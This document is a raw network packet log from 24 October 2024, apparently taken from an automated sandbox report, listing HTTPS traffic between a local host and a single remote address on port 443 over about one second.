Oct 24, 2024 00:28:07.765243053 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.765338898 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.765346050 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.765391111 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.767771959 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.767790079 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.767853975 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.767858982 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.767914057 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.865278959 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.865298033 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.865375996 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.865386963 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.865437031 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.881704092 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.881724119 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.881814003 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.881819963 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.881879091 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.883019924 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.883035898 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.883174896 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.883179903 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.883250952 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.884186983 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.884203911 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.884274006 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.884280920 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.884331942 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.885777950 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.885793924 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.885850906 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.885855913 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.885864973 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.885900974 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.886877060 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.886892080 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.886946917 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.886953115 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.887000084 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.888804913 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.888818979 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.888879061 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.888887882 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.888926029 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.984775066 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.984807014 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.984873056 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.984883070 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.984913111 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.984935999 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.985063076 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.985080957 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.985112906 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.985120058 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:07.985146046 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:07.985168934 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.000642061 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.000663996 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.000761032 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.000770092 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.000803947 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.000828028 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.001549959 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.001565933 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.001641989 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.001648903 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.001684904 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.002500057 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.002517939 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.002577066 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.002587080 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.002623081 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.002649069 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.003278971 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.003298044 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.003362894 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.003370047 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.003416061 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.008459091 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.008480072 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.008539915 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.008548021 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.008588076 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.008965015 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.008985996 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.009063959 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.009072065 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.009118080 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.010130882 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.010160923 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.010202885 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.010209084 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.010231972 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.010258913 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.011064053 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.011082888 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.011132956 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.011140108 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.011162996 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.011194944 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.011961937 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.011984110 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.012046099 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.012053013 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.012095928 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.012588024 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.012605906 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.012649059 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.012655020 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.012680054 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.012711048 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.104273081 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.104295015 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.104410887 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.104422092 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.104464054 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.105027914 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.105046034 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.105120897 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.105132103 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.105173111 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.105628967 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.105648994 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.105690956 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.105700016 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.105720043 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.105739117 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.120763063 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.120784044 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.120906115 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.120918036 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.121093035 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.121418953 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.121434927 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.121496916 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.121503115 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.121536970 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.122183084 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.122199059 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.122267008 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.122272015 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.122309923 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.122996092 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.123016119 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.123095989 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.123105049 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.123147964 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.123788118 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.123806000 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.123862982 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.123868942 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.123907089 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.123938084 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.124742031 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.124758005 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.124808073 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.124814034 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.124855042 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.125394106 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.125410080 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.125471115 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.125475883 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.125504971 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.126420975 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.126439095 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.126496077 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.126503944 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.126540899 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.127367973 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.127389908 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.127440929 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.127448082 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.127456903 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.127468109 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.127480030 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.127496004 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.127502918 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.127546072 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.224082947 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.224109888 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.224211931 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.224227905 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.224261999 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.224596024 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.224615097 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.224680901 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.224690914 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.224742889 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.225447893 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.225472927 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.225622892 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.225635052 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.225687027 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.240674019 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.240735054 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.240792036 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.240801096 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.240849018 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.241266966 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.241317034 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.241349936 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.241355896 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.241379976 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.241398096 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.242085934 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.242130041 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.242156982 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.242162943 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.242185116 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.242214918 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.242705107 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.242748022 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.242789984 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.242795944 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.242822886 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.242861032 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.243098021 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.243143082 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.243175030 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.243180990 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.243206024 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.243227959 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.244055986 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.244098902 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.244131088 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.244144917 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.244178057 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.244199991 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.244208097 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.244239092 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.244265079 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.244290113 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.244307041 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.244318008 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.244373083 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.244385004 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.245276928 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.245317936 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.245352030 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.245357990 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.245393991 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.245409012 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.245445013 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.245488882 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.245521069 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.245527029 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.245572090 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.245594978 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.246228933 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.246254921 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.246309042 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.246314049 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.246337891 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.246360064 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.343115091 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.343147993 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.343245983 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.343261003 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.343298912 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.343786001 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.343802929 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.343852043 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.343861103 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.343899012 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.344482899 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.344500065 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.344552040 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.344558954 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.344604969 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.359978914 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.360004902 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.360085964 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.360097885 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.360119104 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.360142946 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.360671043 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.360687971 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.360738993 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.360744953 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.360840082 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.361444950 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.361462116 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.361521959 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.361526966 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.361571074 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.362076044 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.362092018 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.362145901 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.362154007 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.362185001 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.362209082 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.362662077 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.362678051 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.362740993 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.362746954 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.362772942 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.362816095 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.363225937 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.363244057 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.363296032 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.363300085 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.363343000 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.363357067 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.363790035 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.363806963 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.363853931 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.363858938 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.363907099 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.364326954 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.364343882 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.364404917 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.364411116 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.364444017 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.365195990 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.365215063 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.365267992 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.365272999 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.365286112 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.365307093 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.365320921 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.365354061 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.365358114 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.365394115 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.366242886 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.366261959 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.366308928 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.366313934 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.366338968 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.366363049 CEST	49796	443	192.168.2.16	13.107.246.60
Oct 24, 2024 00:28:08.462532043 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.462557077 CEST	443	49796	13.107.246.60	192.168.2.16
Oct 24, 2024 00:28:08.462738991 CEST	49796	443	192.168.2.16	13.107.246.60
